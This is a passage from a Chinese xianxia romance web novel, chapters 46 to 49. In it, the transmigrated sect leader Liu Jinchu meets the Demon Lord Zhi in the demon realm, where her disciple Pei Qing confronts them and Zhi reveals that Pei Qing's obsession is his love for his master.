柳今初刚要点头,却被他用手抵住下巴。 “若是答应了我就点头好么?若是不答应,就摇头。”他声音很轻,低低沉沉的。 柳今初迟疑了一下还是点头了。 见她应下,魔主垂下眼,视线从她的眼移向她淡红的唇。 “若是你换回原本的模样,那便好了。”魔主道 好什么?柳今初恢复过来,将人抵在自己唇下的手推开,移开眼便启唇,“我还未说完你就来了,我是要你带我去魔界先,此地。” 柳今初停了一下,视线移向还在睡梦中的两人,继续道:“还有人在。” 她没听到魔主的回答,而是感受到了腰间传来的力道,随后自己便被拉入了那氤氲的怀中。 柳今初呼吸变缓,鼻尖却还是能感受到空气中的湿润,还有似有若无的香味,还夹杂着苦涩的草木香。 是上次她初见魔主时,在那封闭的屋子里能闻到的味道。 在她回想的间隙,两人就换了一地。 来到了柳今初方才所想的屋子里,她还坐在他怀里。 柳今初还是有些适应不过来,毕竟身边突然冒出一位,凡间所说的郎君,她还是不太能接受的。 她可单身了很久,没早恋过,到了职场也没有谈过一场恋爱。 到了这里,却是和魔主卿卿我我上了,而她可是仙界一大宗门的掌门人。 两人说是道侣也不全对,要说是走火入魔邪门歪道那柳今初听着也难受,思来想去她干脆不再定名这段关系了。 反正她觉得魔主心怀鬼胎,她自己也好不到哪去,以身入局罢了,各取所需而已。 既然都这般荒唐了,柳今初便放开了说话,“与你相识许久,我总不能一直唤你‘魔主’,总该……” 她还未将下半句话说出口,魔主好似就得知了她想要问什么,“我没有名字。” “不过,旁人常唤我鸷,我觉着难听极了,便从未和你说过。” 他语气淡淡,却还是透着笑意,柳今初看着他那张带笑的俊脸,忽然不觉得妖邪了,更觉着他是有些苦涩的。 “那我还是唤你‘魔主’。”柳今初不动声色地动了动身,与他拉开一段说远不远说近不近的距离。 “不过除了此事,我还有些同你有关的事要问你。”柳今初道。 魔主面上没有露出任何意外的神色,仿若早就猜到了她此行并不简单,伸出手卷起她颊边的一缕发丝轻轻绕转。 “嗯,你问便好,想知什么我都同你说。”语气宠溺极了,动作也轻柔。 柳今初看着他的动作平静开口,“你近日可是做了什么事?” 魔主侧头看她,好似有些疑惑,随后那双桃花眼弯起,“又在替你那徒弟担心?” 柳今初想说不是,但想想,她也不能直说其实都是为了她自己的安危,便只能点头。 看着她轻晃的青丝,魔主收起唇边淡淡的笑意,“可那些动静并非我所为。” 他停了一下看她一眼又道,“可我也受了伤,方才在泡药浴。你怎么不担心我?” 46. 第四十六章 柳今初睨他一眼,正欲启唇说些什么,忽地感觉到一阵天旋地转,随后她便见了魔主身后的景象变作了方才脑海中的那副华丽宫殿。 “先不论此事,我此次寻你还是有别的要事要问你的。”柳今初深知自己没有多长时间可用,只想速战速决。 那这便顾不得话题的转变是否生硬了,更不论她方才才答应了魔主与他结成伴侣这一事。 眼下真是半点情愫萦绕的感觉都没有,周遭空气凉薄的很,柳今初心虚抬眼看那男子。 他的发稍仍滴着水,不过靠近魔角的那处发根倒是看着干了,许是因为这魔角有些温度,蒸干了滴水的发根。 “嗯。你在瞧什么?”鸷的心思好似不在她的那句话上,微微俯下身靠近柳今初。 他微敛眼皮,看她一眼又顺势闭上,将头凑近柳今初,氤氲的水汽便随之袭来。 柳今初好似明白他的意思了,忙往后退了半步,直直看着那对灰墨色的魔角,想要否认却一时语塞说不出什么话来。 不过她的确对这温热的魔角有些好奇,还曾想过这对角有何作用,总归不是长着好看用的,也不像是为了让人看着觉得此人身份不一般。 好奇的芽苗攀上柳今初的指尖引得她伸出了手,淡粉的指尖温凉,轻触在那灰黑的角尖。 柳今初顿了一下又很快缩回手,向前倾的身子也变得笔直,整个人端正极了。 那角好烫,或许应说是她的手冰了些,才觉着那魔角在发烫。 半弯着身的男子肩头动了动,却是没立即抬起头,鼻腔发出一声轻浅的气音,好似是有人不留神碰到了他才让他这般反应的。 “我并非有意这般做的,我发誓,未曾惦念你的、这对角。”柳今初想了想还是没将“魔角”说出口。 鸷这时直起了身,抬步走向她,柳今初不明所以只微仰头同他对视,以显自己并非心虚。 他还是未说话,柳今初就这般同他对视良久,让她忆起方才在树下那空气凝滞的场面。 总归现在只有他们两人。 事不宜迟,柳今初虽觉魔主此刻心思不在与她谈正事上,但她时间所剩无几,只能硬着头皮道:“你可知我遇上魔族气息来到魔界,或许应说是幻境,是谁的手笔?” 柳今初问完好好似又想起之前所遇的另一个幻境,忙开口又追问:“还有,许久之前你同我说,那仙界之人所设下的幻境又是怎么回事?我思来想去也没想出个人来。” 魔主先是又朝她走近了些,牵起她垂在身侧的手,将她的指尖包入掌心,才缓缓道:“魔界那事是上任魔主所为。” 随后他将她拉进自己,慢慢向后挪步,也不向后看,凭着感觉就将人带到了床榻边,随后拉着她的一只指头坐下。 他微抬眼看她,“至于你们仙界,能和魔族扯上关系的,除了夏侯商还能有何人?” 魔主似是有些狐疑,微微侧头,看着站在自己面前的女子,“还是说,你当真一点儿不记得我们之前的交集了?” “你收了那宝贝徒弟后,就再未过来寻我,要说抽不出身也可以,但是忘了我,就未免有些过分了。” 他好似没有生气,只是勾着唇一字一句道来,语气还是藏着轻风笑意。 柳今初本就听着云里雾里的,眼下魔主又扯上原主先前的事,她又不知半点,脑中思绪便更乱了。 “未曾。”柳今初先是搪塞了一句,又继续问他,“那上任魔主又是何人?此人可是……与你不同?” 柳今初隐隐约约觉得他口中的那上任魔主与他并非一路人,鸷虽是魔主但她从见他起至现在,就没见他做过什么伤天害理之事。 反而是夏侯商险些害了她,可柳今初对夏侯商的印象也仅仅停留在是芷汀师尊这处上,对他与魔族的勾结一概不知。 那此时她就能断定了,现在她已来到更后的时期了,只是一切都太快了,危险也越来越多,她见到的人好似也越多了,知道的明里暗里的事也多了。 可对于自己,她好似还是一知半解,不过此时柳今初知道自己早就不能借着自己看过的内容断定往后世界的走向了。 一切都在脱离她心中早就记下的轨迹,这种脱离控制的感受让她心悸,可偏偏世界的变动就像游龙浮云,无论她如今在如何抓握,最终留在手心处的只有一片空。 “他,对你不利。”鸷将她整只手攥入自己宽大的掌中,只短短说出一句话来,便禁了声。 柳今初看出他不愿多说,也猜出这前魔主与他不对付,两人的关系未必不比她和夏侯商的关系紧张。 “不过今初,你可换回你原本的样貌?你这般模样,又一副不记着你我往事的模样,让我觉着你像个假今初。”他好似说着笑,扬起眉。 柳今初本想拒绝,但想想自己确实可被称作假今初,心上说不过去,便点头应了他,反正对自己也并无什么坏处。 一瞬浅白灵光自她眉间化开,慢慢浮遍全身,在那灵气后便是她原本的模样。 红樱淡唇,墨眉细长,宛若远雾岱山隐在额前发丝下,肤如凝脂,莹润如玉,好生一副墨色佳人模样,说起来她也是仙人,说是天仙模样也恰适。 “我许久未见你原本的模样了,若方才应下我时是这般模样……我或许心中波澜好比惊涛骇浪了。”魔主将她带至自己身侧。 柳今初没有多抗拒他对她的动作,顺着他的力道倚坐在他身旁,心中琴弦微动。 他可真是喜欢原主。 不过柳今初更想知道两人如何相识的,也想知道魔主为何会有这般儿女情愫。 好生好奇,但以自己的身份,问出口可就显得有些怪了。 柳今初不知要作何神情,微垂头,身后墨发青丝垂落在肩头。 不过她觉得魔主怕是没多少心思回答她什么了,赶忙问出最后的疑惑,“没想到魔主对儿女情长之事如此上心。” “不过,我所剩时辰无几了,但心中还有一问,你可知林谦这孩子?” 魔主听了未立即应答,而是将她带至殿外的长院里,魔界的光景不似凡间,花木极少,多是些晶石玉器作饰物光景,自然也不似仙界云雾缭绕,这长院阴 冷极了,可这天上未挂着月。 柳今初视线从阴灰的天空移向了身侧根根矗着的玉石柱子,这倒是透亮,看着也不比那些花花草草差,就是死板了些,看着没什么生气。 也是,魔界可没有什么灵玉。 “透气么?”柳今初主动开了口,想要魔主接上自己方才的话。 “他与我并无瓜葛。”魔主简略应了她,随后含笑的桃花眼看向她,眼底的淡笑变浓。 “不过,与你有瓜葛的人,倒是找来了。” 柳今初还未反应过来,便被人揽入怀中,脸侧的温热传来,轻微的鼓动声在耳畔晃着。 柳今初本想用手抵开他,但心好似更快些,觉察到了静谧长院里一阵锐利的冽风。 冽风的尾从她耳垂处擦过,激得她后脊一麻,险些站不稳。 她来了魔界身上灵力运转本就受限,方才还动用了些化回原本样貌,现在自是疲累了些,要防着些动静可要废些功夫。 不过柳今初在感受到这忽然袭来的冽风时,并非先觉着被人见了自己与魔主卿卿我我而惊慌,反而是有些恼怒。 要如何说她此刻的心情才好,五味杂陈太轻,百感交集好似又过了头。 这记风尾就好似来人刻意所为一般,偏偏又是刮过她的耳垂,虽含着隐隐的杀气,给她引来的却只是痒意。 这不是明晃晃的犯颜是什么? 还是说他如今实力尚浅,所以才未能收住力道的。 可这显然不对,他都可用灵气引风,自然是运转灵气不受限的,实力再如何说也不会浅到哪去。 “你可还有力气化成别的模样?” 柳今初发顶上传来低沉的男声,她还能听出几分从喉间溢出的笑意。 “不过,他好似猜到是你了,只是还……不敢认。” 听魔主说到这,柳今初不免有些心慌,心一不定她就更难运转体内灵气,只好仰起点头望向好整以暇看着她的魔主。 “你可会幻化之术?”她的神情似是在央求,黛眉轻蹙,但语气却并非如此。 魔主缓缓眨眸,语气决绝,“不习这种雕虫小技。” “不过,我能护住你就是了。” 柳今初只能信他,只当死马当活马医了。 她身上没有什么法宝灵器,也没有裴卿那种蕴力无穷的剑灵,还身处魔界,除了用魔主挡还能如何避开裴卿? 到了此刻柳今初迟来的惊慌慢慢从心尖漫上脖颈,心如雷鼓,面上虽还是那副平静之色,可只有她知道,一旦裴卿认定了是她,那此后会发生的事那便是连魔主也拦不住了。 更何况,她对裴卿的认识也变得愈发模糊了,让她觉着先前那些师徒恩情好似早就化作了晨雾散去了。 因为她许久未见他眼底的敬意了,此刻便是。 她的背脊贴着鸷的胸膛,杏眼不含半分情绪,直直与远处伫立望向她的那双凤眸对上。 目光侵略,好似方才擦过她耳垂的那道冽风,又像透穿冰湖寒光,让她眼睫颤动一下,指尖微微蜷起,步子下意识向后挪了挪。 47. 第四十七章 忽地,柳今初感觉眼前一黑,温热的黑将自己的双眼遮住,鼻尖处传来了淡淡的草木气息。 是鸷用手遮住了自己的眼,她本以为是鸷要带她离开这里,可过了几秒仍是感受不到什么变化。 柳今初的心跳反而更加快了,仿若是自己在贴着自己的胸脯听到的那样真切,连着耳根涌上眉心,让她背后慢慢渗出汗珠来。 或许是她觉得这周遭的静谧里藏着暗波涌动,隐上加隐,这种朦朦胧胧迷迷糊糊的慌乱感让她分辨不清自己的心究竟是因为什么而鼓动。 或许是因为为人师表,而她顶着那副良师模样出现在了魔界,站在鸷的怀中,眼被他用手虚虚遮握。 也或许是因为她在害怕,惧怕方才那极具侵略意味的冽风带有警戒与杀意,因为她好似本身就是要倒在他那把渡仙剑下的。 可柳今初偏偏不愿,做了挣扎,收他为徒,步步为营,立下那良师形象,对他温善纵容。 但除了这些,柳今初也晋升了许多,虽说自从一跃成尊让她她玩惯了,将那厌恶的日夜劳累的日子远远抛之脑后,学得也漫不经心。 可她不得不承认,原主本就是一介天才,她本身就资质优越,只是被画上了不属于她的残缺。 将那张突兀的,用纸浆虚虚糊上去的“残缺”扯去,就是她在做的,那么那些晋升就该是理所当然的。 柳今初淡唇微张,轻轻呼吸着,气息微弱,仿若一个熟睡的人,可熟睡的人心可不会跳得那样快。 那现在该如何做? 柳今初不知道,她早就不清楚往后的剧情会如何来去了,更抓不定现在裴卿的想法。 所以她才不知他到底是在怨她原来不是良师,还是怨她与魔主勾结。 魔主说会护住她,但柳今初没那样天真,真切地认为自己的性命就能被别人护得好好的。 她连自己都护不住,谈何别人,别人只是河边杂草,你若遇到了伸出手拉住,或许会将它连根拔起,带着它又坠入涌流里,亦或许是幸运些,遇上的并非杂草,而是细长树根,可那又能拉住你多久。 你要做的,从来都是爬上岸去无论身上的污泥沾到了哪里,只要不是她那双不满血丝的杏眼,那便不会是阻碍。 柳今初伸出手,将覆在自己眼上的手轻轻拉开,眨了下眼,睫毛扑朔。 她想开口说话,可光总是快她的声一步,她先见了裴卿的脸。 好生平静,除了那双低垂瞧她的凤眸,狭长深邃,长睫阴影重重淡淡,但他眼底的情绪很浓,明晰得让她蜷起手。 “今初,你在这里。” 他的声音淡极了,却不见了年少时的清雅,已经染上了磁沉的墨色。 张合的薄唇颜色很淡,但说不上是苍白的。 柳今初要应他,可鸷先一步开口。 在她脑海中,只有简短的一句。 “不会害他,此事过去会除他记忆。” 魔主的意思再明显不过了,但她还知道,裴卿的剑灵在此刻就在慢慢凝聚了,只是何时恢复为完整的剑灵她无从得知。 她只知道剑灵的记忆,世上无人能去除。 “她在何处,你无权管束。”魔主好似并不慌乱,他本想将人带至宫殿,自己在找这擅闯者的麻烦。 可他偏偏就生出了些邪念来,看着眼前伫立着的,从始至终盯着他师尊看的人。 若是透露出些裴卿心中的狰狞的执念,或许会是更好的把柄。 柳今初没想到他会先开口同裴卿说话,侧头看向他,眼中的狐疑明显。 可裴卿不作答,唇色尽数散去,唇角处溢出一丝艳红的鲜血,他不禁皱起眉,但仍没有要动手的意思。 柳今初当即觉察到了他的异动,她带着的那半块玉佩上有她的灵气,灵气关系她的灵识,所以带着另一块玉佩的裴卿若是受了重伤,她总会同时觉察。 “你,你可有事?”柳今初忙问出了口,说完又止住了声,不再将余下的话说出口。 她好像也开始变了,柳今初攥紧的手,看着青年面无表情地抬手拭去唇角的血滴,唇紧抿着。 裴卿朝她递来一道极深的目光,里面的情绪太纷乱,他没看手背上被抹开的那片血迹,好似方才疼的不是他那般。 他对自己也毫不在意,漠不关心。 裴卿的视线始终落在她那双雾蒙蒙的杏眼上,薄唇轻启:“你要的我会给你。” 柳今初轻眨下眸,他仍在垂眼看她,只是视线从她的眼移向了她披着身前的长发。 慢慢向下,掠过腰际,停在那块散发着莹润光泽的玉佩上,上面附着的浅淡白光,他许久未见了。 那份冷冽的温和只残存在他从前的记忆里,离开宗门历练许久,月色流逝,日光转化,无论度过了多久时日,都没能将他记下的痕迹磨灭,他还是清晰地记得她。 还是说不知从何时起,他就开始无意识地想起曾经的月色了,朦胧浅淡的白,他记得很深,是很喜欢的色泽。 柳今初一开始以为裴卿在同自己说,因为原主收他为徒也只是为了那渡仙剑剑灵残魂罢了。 可最先回应他的是魔主。 “你的软肋,可真好寻。”鸷冷笑着开口,戏虐的意味很深,“不过,成交。” 他没有让裴卿再多虑几次,因为他知道,从他踏入这里开始,他就没打算说“不”字。 可那样重要的东西,他怎么就眼都不眨一下,平静地说出了他想听到的话。 听他应下后,柳今初好似也察觉了这暗流涌动下的不对在何处了。 鸷要的是裴卿的渡仙剑剑灵残魂。 柳今初当即抬起手将身前站着的人拉起,声音发着颤,杏眼睁大,指尖的寒意攀上后脊。 “你要给他什么?” 她还是不愿相信,手下的护臂冰得她指尖颤动。 夜来了,明月高悬空中,明明润润,在青年笔直的背脊后空空挂着,不带半点星光,云雾也无,风也止住,此刻夜的寒从脚底向上漫。 像夜海涨潮,冰冷的海水漫上脚踝,双膝,手腕,直至脖颈处那样。 “你知不知道,我是谁?”柳今初不信他会这样交出剑灵残魂就为换她过来。 明明这一切都像是梦一样虚幻,她自己从没想过自己会与魔主牵扯,又见了如今这番荒唐的景象。 怎会这般,这般荒唐? 裴卿究竟是不知那剑灵能护他万事无忧,还是不知魔主是有意而来? “师尊,你这般对我,我能说不认得你么?” 他眼中含着苦涩,柳今初终是看出来了。 忽地,周遭的寒意顷刻间散得无影无踪,空气仿若停滞了那般,紧促感随之漫上心头。 魔主松开了她,唇边笑意更放肆,晃荡在她耳畔的笑声夹杂着嘲意,胸腔起伏着,微 侧着头向后退去半步。 “这样当真值得?”鸷收起那副玩世不恭的模样。 裴卿终是看向了他,默声将柳今初的手拉起,几步走到她身前,将人挡得严严实实。 柳今初此刻也顾不得那些荒诞不经的猜想了,她是以身入局了,但也不意味着自己就会栽在局中,深陷其中。 只是她如今受限,灵识不全,单凭裴卿一人定是抵不过魔主的。 正当她要破罐子破摔时,脑中那熟悉的声音又响起。 “你不信我?” 柳今初挪动半步与魔主对上视线,他眼中的笑意尽数散去了,眼底的散漫也早不见踪影。 随后身前的人便忽地倒地,单膝撑着,手上握着迅速幻化出的剑,却不是柳今初给他的那把。 这把剑是银月色的,剑身纹路繁复细致却一丝不苟,锐利的剑锋寒白,三尺青锋,刃如秋霜,肃杀之意先剑光一步刺入眼中。 那是渡仙剑,她不知裴卿何时将渡仙剑剑灵残魂拼凑全了,只知此刻他已能用上渡仙剑了。 而现在,裴卿好似还有半月就及冠了。他的生辰在霜月,在九月,秋风萧瑟的日子。 柳今初眼眸扑朔,怔在原地,微抬起的手停在半空,神情滞然,挪不动半步。 浑身僵硬着,好似一颗枯朽的木,斜斜皑皑被霜雪压着腰,细瘦的枝干在寒风中晃动,上面挂满了雪点。 那便是她颤动的指尖,苍白无色。 似是察觉到了身后人的不对,半跪在地的青年侧过头,高高竖起的马尾落在脖颈侧,静静贴在他修长的脖颈上。 裴卿投来了好似安抚一般的目光,将手心处的剑柄握紧,启唇,“不必担心。” 柳今初知道他话未闭,也知道他此刻在强撑,若是没有渡仙剑,在他如今的情形下,怕是连现在的她都伤不了分毫。 可柳今初担心的并非能否逃出魔界,她知道魔主不会伤她,对于魔主来说,她留着还有用。 更何况,她本身实力也不低,与魔主相攻,最多只是落得两败俱伤的局面,还不至于惨死他的手下。 真正让她心悸的,是那把渡仙剑。 明明它本该在仙魔劫前夕出现了。 可如今,渡仙剑在十九岁的裴卿手上,剑魂俱全,隐隐散发着上古沉寂剑灵的凶残风发之气,激得人站不住脚。 如此一来,仙魔劫又会何时出现,以她如今的实力,能躲过渡仙剑的剑刃么? 她还未成仙,也才来到三界不过二十年,这二十年在这里仅仅是二十日而已。 更何况修为高深者,度日如逝水,光阴宛在指尖散。 他望向她的眼,面色并不好,一张素白的脸上只有双眼是浓黑的,唇边残留的血痕的殷红的。 裴卿双眼微睁,仰头看着身前伫立垂眸看他的女子。 面容全然不是她,可他觉得那双眼里有自己,就宛若曾经她眼中自己的倒影,灰暗的,只有眼瞳的那处光点的皎月白,在他倒影的上方。 就似明月,离他好近,可他触不到。 不论是天上那处,还是近在咫尺的她的眼。 可他又为何不能,为何世人都能离她那样近,唯独自己望月而不及,触月又坠地。 喉间涌上热意,舌根漫上腥甜,他细细尝了自己的鲜血。 好生苦涩,比剑魂重塑带来的撕裂疼痛还要让他难以忍受。 48. 第四十八章 柳今初最后看他那双凤眸一眼,在心中一字一句念出。 “让他离开魔界。” 她知道魔主向裴卿索要的就是渡仙剑,她想劝阻裴卿不要交出,可自己如今不是元剑宗掌门,也更不是他的师尊。 她如今是季安。 而裴卿好似就放下了才重塑不久的渡仙剑,只为暂时脱身。 渡仙剑认主,其剑灵和普通的剑灵本质上别无差异,只是它沉寂多年,吸存炼化了许多天地灵气,是亘古长存的老剑灵了。 裴卿能将它收服,也益于这渡仙剑剑灵本就选中了他作为主人,而他也诚意将它收回。 渡仙剑在一众高深修为的剑修里,偏偏选中了还是凡人发裴卿也并非是裴卿气运过人,而是因为裴卿是空灵根,天地灵气幻化凝聚而成,极为罕见,对剑灵来说是塑剑的一方佳地。 只是裴卿才将它重塑却要将它给别人,甚至是要给魔主。这定然是无数剑灵极为厌恶的,是剑修与剑灵剑最为忌讳的事。 虽说裴卿本意是为了先脱身,并未打算真将剑让给了鸷,可渡仙剑剑灵也是犟主,像它这等高品的剑灵自是最为忠义的,也是最为记恨这种叛离抛弃的。 毕竟对于剑修来说,剑灵是相伴几世的另一个自己,叛离它,便是叛离自己,背离修剑初衷,说是将剑道狠踩于脚下也不为过。 裴卿在心中暗念“渡仙剑”三字,又立下死誓,脑海中翩扬的字语漫布,声音回响。 他一面强忍着说出死誓带来的剖心之痛,一面又要受着因来到魔界执念钻心的疼,眼下已是面色苍白如纸,额角汗珠频落了。 柳今初自始自终都为弯下半点背脊,仍是挺着背脊,她已将目光从青年惨白的脸上移开,强迫着自己忽视他直直不避的目光。 好似要将她看穿看透了,或许说柳今初也妥协了,她想裴卿应是看出了什么,只是未说清而已,但她又不想戳破这层单薄的窗纸,好让她的心不再担着更多的石子。 她已经觉得自己要喘不过气了,此刻呼吸也轻极了,却不是因为别的什么,是她下意识放轻了。 柳今初总会这样做,总在那些她快要站不住的时候这样放缓放轻呼吸,让她能知道此刻原来她还真切的活着,不至于在一切破碎时就无故断气。 虽说她也觉得死也是解脱,可她实在做不到,她想做的事还未做尽,幻想过了欢愉也还未感受过,怎能白走一遭只吃了苦却没尝到心中妄想的甜? 柳今初看向站在对面的魔主,他面上的神情很是惬意,好似紧张到凝固的空气只在柳今初这处一样。 他就是置身事外观戏的台下人而已。 身材高大的男子缓步走到单膝触地的青年身旁,站定,衣摆停止晃动,衣角处的银丝泛着光泽,如月下水波。 随后他将身侧的手抬起五指微张开,等着青年将手上紧握的剑递到他手边,确是没看腿边单膝跪着的人一眼。 而是带着戏谑一般的眼神,静静看着麻木站着的少女,唇边的笑意漫开,渐渐从喉间发出轻蔑笑声。 柳今初听闻抬起眼看向鸷,眼眸黑白分明,不见半点浑浊,背对着缓缓移动的月。 “我怎敢不如你的意。”带着低笑点声音在柳今初一片空白无声的脑海里响起。 柳今初双眼动了动,便察觉到了变化。 裴卿已不再魔界。 而那把渡仙剑,也不在魔主手中。 鸷将张开的掌心收拢,侧头缓步走近她,将手背在身后,神情自若。 “我在你心中就那般不堪?柳今初,你可知我们如今是,”他停顿了一下,伸出手轻抚她的发,动作很是轻柔,又慢极了,“相好。” 相好么? 柳今初在心中喃喃道出,神情已不似先前那般失魂落魄心不在焉了。 “并非,我只是,”柳今初想说出那个名字,却又是觉得别扭,堪堪止住,“许久未与你相处了,有些,不知你了。” 她想说,她不知也再不能看透的,是裴卿。 “是我么?”魔主将手伸出摊开摆在她面前,“我看未必。本座方才察觉到了你心中执念的变动。” 他语才落,柳今初就立即向后撤开一步,警惕抬眼看他胸膛微微起伏着。 “莫要这样看我,你这样倒是让本座觉着,你从未把我当作相好,”魔主垂眼看向自己空荡荡的掌心,“更像是魔,与你们仙界分道而行的魔族。” “柳今初,可本座好奇极了,你究竟在怕谁伤了你?”鸷好似并未气恼她的疏离,见她不愿靠近自己,也不再移动步子。 “这天下,除了我,也并无他人能与你作对了。”他侧眼看她。 柳今初沉默许久了,听到这句才出了声,才启唇就发觉自己喉间干涩的很,声音有些沙哑。 “是我多虑,让你担忧了。”柳今初挪步走近他,垂眸面色稍有些凝重,在抬眼时那份凝已散去。 “那你可否想知他的执念为何?”魔主道。 他并未说明那人是谁,但柳今初知道他在说谁,他们都心知肚明。 柳今初并未立即开口回应,而是从他身旁走过,衣畔拂动擦过他的长发。 走至茶水桌旁站定,柳今初缓缓倒了一杯冷茶,茶杯是透玉材质,轻而薄,在月色下透着润泽的白玉光。 茶杯是冰凉的。茶水也是,应是放凉许久了未再重泡一壶,透过薄玉冰到了她的指尖。 柳今初将指尖的茶杯转了转后又放下,未将那口冷茶送入口中。 良久。 魔主也未走近她,仍是站在原地,只是侧过了身,看着她从捏起茶杯提起茶壶倒茶,到转动茶杯细细观摩,又放下的动作,唇边笑意渐浓。 柳今初也自是察觉到了他的视线,还有他跟着她一同做的,沉默无言。 待她看向他的脸时,又见他笑,桃花眼微弯起,唇角毫不收敛扬着。 看得她有些没来由的气恼。 为何魔主能扬笑得这样肆意,而她偏偏就总是愁眉苦脸,苦这愁那的。 “你讲吧。” 柳今初声音没有什么起伏,淡淡道出这句话。 她也想知道裴卿倒地在执着什么,渡仙剑他有了,修为也一路增长着,是一众剑修佼佼者中的佼佼者了,剑途明晰光亮得很。 师尊师姐师兄也待他极为不错,宗门便是他的家,他还有掌门之位可继承,这样看来,他还会想要什么 ?又在对什么宝物有这样深的执着? “他的执念,执在月上。”魔主道。 柳今初听了他的话有些不明所以,觉得魔主在逗弄她,说得这样神秘含蓄。 正欲开口让他说明晰些,却听他道,“他可真是心比天高,想要摘你这样的月。” 柳今初听到此处,扶在茶杯旁的指尖忽地移动,碰倒了靠在桌沿旁的玉茶杯。 耳边先是传来了清亮的叮铃脆响,随后便是弦断般的琅然声,在空荡荡的院庭里回荡散开,渐渐没三散空中,随风消声。 若是垂头看地,便能见到散落如星的碎玉,可柳今初未曾看它一眼。 柳今初几步走到魔主面前,仰头抬眼一步站定后便当即问出口,声音颤动却是格外响亮,与玉碎相似。 “这是何意?” 似是在质问他一般,柳今初站得离他很近,头一次主动靠近他到呼吸相交的地步。 “你说是何意?”魔主反问她。 见他隐而不发,故弄玄虚的模样,柳今初耐心耗尽,半咬着唇深吸一口气想让自己平静下来,缓和语气要再问他时,却见他收起了散漫,微弯的唇角变得平直。 “一似云间月,何殊镜里人。”魔主仰头望月淡淡道出一诗,随后语调上扬,“这写诗的人,真是道尽了你徒弟的心思。” 云间月。 柳今初顺着魔主扬起的视线,望向明月,月已然陷入了云雾里,明明暗暗让人看不真切。 “还要我直言么?”魔主收起目光,微抬的头收回侧向她,目光幽幽,深黑的眼里有柳今初的身影,一袭浅衣。 镜里人。 “是你。”魔主离她更近几分,鼻尖与她的相触,让柳今初下意识后仰想要避开。 “他眼里的月,心上的人,都是你,”鸷垂眸看向她,后半句说得缓,“他执念之人是柳宗主。” “今初。” 柳今初听了鸷道出了自己的名字,只觉得步履轻浮,身子轻得很,喉间却是干涩得说不出半句话来。 他又是从何时起,这样想自己的? 她不敢说出那两个字,觉着会刺到她的耳。 可她并非厌恶裴卿,她更觉着错然,心中堵塞,呼吸轻缓微弱。 月被云雾遮去了,这夜里的庭院更深几分,无风夜静,只剩她微乎的呼吸声,和跳动的温热心脏。 脑中浮现出许多与他相干的画面,影影绰绰,像晃动的身影。 只有一刻是清晰极了的。 裴卿俯身靠向她,呼吸也同现在的她一样轻微,温热倾洒脖颈,烫过她此刻皮下的血液。 他动作很轻,像是在对待琉璃一般,指尖虚握着摇摇颤动的步摇,抵在掌侧的簪挺压出了浅浅的印痕。 发丝微动,柳今初屏住呼吸,耳边有流苏珠串摩挲发出的细碎响动。 可这分不开她的心思,她的心在鼓动。 但就在此刻,柳今初忆起了,比她鼓动得更厉害的好似是在给她戴步摇的人。 不对,这并非是记忆,而是那个荒唐的梦。竟是她混淆了。 虚幻里,她耳畔传来沉哑的声音。 “今初,你也梦见过我么?” 49. 第四十九章 颊边传来温热,是他明目张胆的靠近和呼吸。 柳今初身形一滞,呼吸忽地变得剧烈起来,胸膛起伏不定,垂在身侧的手曲起,五指慢慢攥收。 耳边传来轻笑,随后她微蜷起的手便被人握住。 他的指尖冰凉但掌心很烫,贴着她的手背,那冰凉的指尖将她的手包裹,让她能感受到他轻微的摩挲。 呼吸止住,柳今初早已分不清这是自己的回想,还是一方幻梦了。 她只知待她清醒过来,那点温热的触感与缓缓的温度仍尚存着。 或许这并非回想,也非幻梦。 而是裴卿的执念。 “感受到了么?他的执念有多深?” “可我,唯独我不能拥有。” 柳今初迷离的眼慢慢聚焦,看清了身前垂眼看着自己的人。 是魔主,她还在魔界。 柳今初回过神来,只觉得手脚冰凉,唯有头是热的。 “你,不能有什么?”柳今初现在脑中乱得很,轻声问出口,她已没多余的力气说话了。 “这些情,这些欲念,它们只有人有,偏偏魔,”他停住,又道,“是我不曾有。” 柳今初瞬间清醒过来,才发觉自己是被人扶着双臂的,当即站直了身。 杏眼微动,指尖微动,擦过襦裙裙摆。她化作了原本的模样。 方才那些,当真是裴卿的执念,就是他想做的,不是她脑中的思绪,而是此刻裴卿脑中的思绪。 她怎会感受到的,明明自己并无掌控他人执念的能力。 可看魔主,他好似也不能这般做,他只是能感受到人们执念的深浅罢了。 “可如今他的执念太深了,深到了你眉心处。”魔主抬起指点向柳今初的眉心,指腹冰凉。 “但你是我的相好,”他忽地嗤笑一声,语气冷漠,“你说他会如何抉择?” “抉择什么?那把渡仙剑?”柳今初抬眼看他。 “那方才你为何不拿了,还要在此处说这些话来威胁我。” 柳今初眼眸不眨,直直看着他深黑的瞳孔,好似要将他所知道的所有执念都看透一般。 在这时柳今初才发觉他的眼不再透着暗红的光泽。但她并未深想也不愿再过多了解他。 “你徒弟可并非诚心诚意要将渡仙剑给我,渡仙剑既已认主,又怎会轻易落到我手上。”他也垂眼看柳今初。 “若他自己弃了那渡仙剑,剑主才能是我。”骤然,鸷的瞳孔附上了一抹深红,像是干枯的血迹。 “可他好狡诈,怎就不像你,这样纯粹呢?” 这后半句话听着像是在夸她,可柳今初怎会听不出他的言外之意。 他早就知道她是以身入局,单凭她拙劣的演技便能看出,可柳今初的目的达到了,她从他口中知晓了许多事。 也感受到了魔主本就与原主渊源极深的情感。 只是它不是情情爱爱,儿女情长,也不似挚友知音,就只是模糊的亲昵而已。 和她与裴卿的关系像极了。 只是她是柳今初,而不是原主,魔主心中的那位人好似再也回不来了。 他对原主那样情深意切,怎会看不出来这幅壳子换了魂魄。 “你在说,柳今初。”柳今初仍是直直看着他的眼,盯着那抹暗色。 “你不是她,我自是知晓。”他垂下眼先是避开了这焦灼的对视,“她早就死了。” “你想念她?”柳今初轻声开口,“还是想让她回来?” 鸷没有回答,而是伸出双臂抬手抚上她的肩头,长发散在身侧,看着迷离颓然。 “这也是执念。”柳今初没有将人推开,只轻吸了一口气又道:“你也有。” 此刻柳今初只能瞧见他的发顶,鸷半弓着身子,好似就要站不住了,借着她的肩撑着身,五指收紧,捏得她生疼。 他发顶处的那对角不知何时看不见了,此刻的模样宛然就是一位披散着乌发的男子,只是默然着情绪很是沉。 良久,两人都未再说什么,空气仍在流动,明月已隐没在庄重的屋殿墙瓦之后,天际微亮,雾气冉升。 鸷抬起了头,扶在她左肩的手松开了,轻缓抬起,指尖扬长,轻轻靠近她的颊边。 他的指尖冰凉,触及柳今初的皮肤时,让她觉着是有雪点落在了脸上。 “玉肤凝脂,黛眉杏瞳,”指尖滑向她唇侧温软的皮肤,他又淡声:“梨涡浅浅。” 语毕,凉风随他的指尖滑向柳今初的脖颈。 